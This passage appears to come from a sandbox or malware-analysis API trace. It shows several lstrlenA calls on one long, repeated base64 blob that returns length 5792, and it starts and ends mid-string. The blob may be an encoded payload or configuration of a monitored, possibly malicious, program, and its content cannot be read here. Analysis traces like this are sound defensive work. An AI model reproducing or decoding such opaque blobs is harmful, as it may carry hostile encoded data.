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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5A